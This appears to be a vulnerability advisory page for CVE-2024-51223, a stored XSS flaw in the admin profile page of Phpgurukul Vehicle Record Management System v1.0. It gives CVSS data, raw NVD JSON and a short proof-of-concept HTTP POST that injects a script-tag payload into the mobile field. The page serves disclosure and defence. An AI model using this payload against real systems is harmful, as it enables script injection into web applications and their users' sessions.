Security Vulnerability Report
中文
CVE-2024-51223 CVSS 4.8 MEDIUM

CVE-2024-51223

Published: 2026-03-23 16:16:32
Last Modified: 2026-03-24 18:13:44

Description

A stored cross-site scripting (XSS) vulnerability in the component /admin/profile.php of Phpgurukul Vehicle Record Management System v1.0 allows attackers to execute arbitrary web scripts or HTML via injecting a crafted payload into the Mobile Number parameter.

CVSS Details

CVSS Score
4.8
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:phpgurukul:vehicle_record_management_system:1.0:*:*:*:*:*:*:* - VULNERABLE
Phpgurukul Vehicle Record Management System v1.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
/* PoC Description: Send a POST request to /admin/profile.php with the XSS payload in the mobile parameter. */ POST /admin/profile.php HTTP/1.1 Host: target-ip Content-Type: application/x-www-form-urlencoded Cookie: PHPSESSID=[authenticated_session_id] mobile="><script>alert('XSS')</script>&submit=Update

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2024-51223", "sourceIdentifier": "[email protected]", "published": "2026-03-23T16:16:31.597", "lastModified": "2026-03-24T18:13:43.607", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A stored cross-site scripting (XSS) vulnerability in the component /admin/profile.php of Phpgurukul Vehicle Record Management System v1.0 allows attackers to execute arbitrary web scripts or HTML via injecting a crafted payload into the Mobile Number parameter."}, {"lang": "es", "value": "Una vulnerabilidad de cross-site scripting (XSS) almacenado en el componente /admin/profile.php de Phpgurukul Vehicle Record Management System v1.0 permite a los atacantes ejecutar scripts web o HTML arbitrarios mediante la inyección de una carga útil manipulada en el parámetro Mobile Number."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N", "baseScore": 4.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.7, "impactScore": 2.7}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:phpgurukul:vehicle_record_management_system:1.0:*:*:*:*:*:*:*", "matchCriteriaId": "D6AE144F-2A5F-4F48-899F-732293FA1DB6"}]}]}], "references": [{"url": "https://github.com/Buckdray/vulnerability-research", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://github.com/Buckdray/vulnerability-research/tree/main/CVE-2024-51223", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Third Party Advisory"]}]}}